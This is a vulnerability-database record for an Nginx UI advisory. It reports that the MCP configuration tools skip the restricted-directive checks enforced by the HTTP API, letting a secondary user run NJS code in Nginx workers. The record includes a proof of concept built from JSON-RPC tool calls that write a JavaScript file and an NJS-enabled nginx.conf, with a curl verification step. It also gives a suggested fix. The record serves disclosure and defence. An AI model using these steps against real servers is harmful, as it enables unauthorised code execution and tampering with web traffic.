{"schema":"threatline.record/2","record":{"id":"CVE-2026-84319","aliases":["GHSA-5r62-gj48-897x","GO-2026-6774"],"summary":"Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context","details":"## Summary\n\nThe regular HTTP configuration API rejects restricted Nginx directives such as `load_module`, `js_import`, and `js_content`.\n\nHowever, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load `ngx_http_js_module.so`, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.\n\nThis is authenticated and is not OS command execution by itself.\n\n## Affected component\n\n- `/mcp`\n- `/mcp_message`\n- MCP tool: `nginx_config_add`\n- Nginx configuration validation\n\n## Impact\n\nA secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.\n\nThis may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.\n\n## Minimal PoC\n\n### Preconditions\n\n- Attacker has a secondary authenticated Nginx UI account.\n- MCP is enabled.\n- Nginx has NJS available:\n\n```bash\nfind / -name \"ngx_http_js_module.so\" 2>/dev/null\n```\n\nObserved in the lab:\n\n```text\n/usr/lib/nginx/modules/ngx_http_js_module.so\n```\n\n### 1. HTTP API blocks the restricted config\n\nRequest:\n\n```http\nPOST /api/configs\nAuthorization: <SECONDARY_USER_JWT>\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n \"name\": \"nginx.conf\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"load_module modules/ngx_http_js_module.so;\\n\\nuser nginx;\\nworker_processes auto;\\n\\nevents { worker_connections 1024; }\\n\\nhttp {\\n js_import poc from /etc/nginx/poc.js;\\n server {\\n listen 127.0.0.1:18249;\\n location /__poc { js_content poc.handler; }\\n }\\n}\\n\"\n}\n```\n\nObserved result:\n\n```text\nRejected because the content contains restricted directives such as load_module/js_import/js_content.\n```\n\n### 2. MCP writes the JavaScript file\n\nOpen an MCP session and call `tools/call` with:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"poc.js\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"function handler(r) { r.return(200, \\\"MCP_NJS_MARKER\\\\n\\\"); }\\nexport default { handler };\\n\"\n }\n }\n}\n```\n\n### 3. MCP writes the NJS-enabled nginx.conf\n\nCall `tools/call` again:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"nginx.conf\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"load_module modules/ngx_http_js_module.so;\\n\\nuser nginx;\\nworker_processes auto;\\n\\nerror_log /var/log/nginx/error.log notice;\\npid /run/nginx.pid;\\n\\nevents { worker_connections 1024; }\\n\\nhttp {\\n default_type application/octet-stream;\\n js_import poc from /etc/nginx/poc.js;\\n server {\\n listen 127.0.0.1:18249;\\n location /__poc { js_content poc.handler; }\\n }\\n}\\n\"\n }\n }\n}\n```\n\n### 4. Verify NJS execution\n\nInside the Nginx UI container:\n\n```bash\ncurl -i http://127.0.0.1:18249/__poc\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\n\nMCP_NJS_MARKER\n```\n\nThis confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.\n\n## Expected behavior\n\nMCP configuration tools should enforce the same restricted directive validation as the HTTP API.\n\n## Suggested fix\n\nApply `ValidateConfigFile(path, content)` before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:\n\n- `load_module`\n- `js_import`\n- `js_content`\n- `js_set`\n- `perl_set`\n- `user root`","categories":["Web servers"],"product":"github.com/0xJacky/Nginx-UI","vendor":"0xJacky","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-5r62-gj48-897x","source_modified_at":"2026-10-15T20:10:44Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/0xJacky/Nginx-UI"},"range":"< 1.9.10-0.20260703131214-23d1934099b0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-84319","source_modified_at":"2026-10-13T20:23:50.083Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"nginx-ui","vendor":"0xJacky","versions":[{"version":"< 2.4.1","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-5r62-gj48-897x","source_modified_at":"2026-10-19T21:41:02.802986785Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","purl":"pkg:golang/github.com/0xJacky/Nginx-UI"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"1.9.10-0.20260703131214-23d1934099b0"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-5r62-gj48-897x","source_modified_at":"2026-10-15T20:10:44Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/0xJacky/Nginx-UI"},"version":"1.9.10-0.20260703131214-23d1934099b0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-5r62-gj48-897x","source_modified_at":"2026-10-19T21:41:02.802986785Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","purl":"pkg:golang/github.com/0xJacky/Nginx-UI"},"version":"1.9.10-0.20260703131214-23d1934099b0"}],"cvss":8.3,"severity":"High","kev":{"listed":false},"epss":{"probability":0.0028,"percentile":0.19404,"score_date":"2026-10-23"},"published_at":"2026-10-12T21:03:36.112Z","modified_at":"2026-10-19T21:41:02.802986785Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-5r62-gj48-897x","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-15T20:10:44Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-84319","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-13T20:23:50.083Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-5r62-gj48-897x","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-19T21:41:02.802986785Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84319","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-5r62-gj48-897x","tags":["x_refsource_CONFIRM"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84319","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-5r62-gj48-897x","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-13T20:13:18.604078Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-19T21:41:02.802986785Z","content_hash":"5cd009470e989947d8668f3aa42e5c8634f0cb59fd869951dc81f97f7d4f71fb"}}
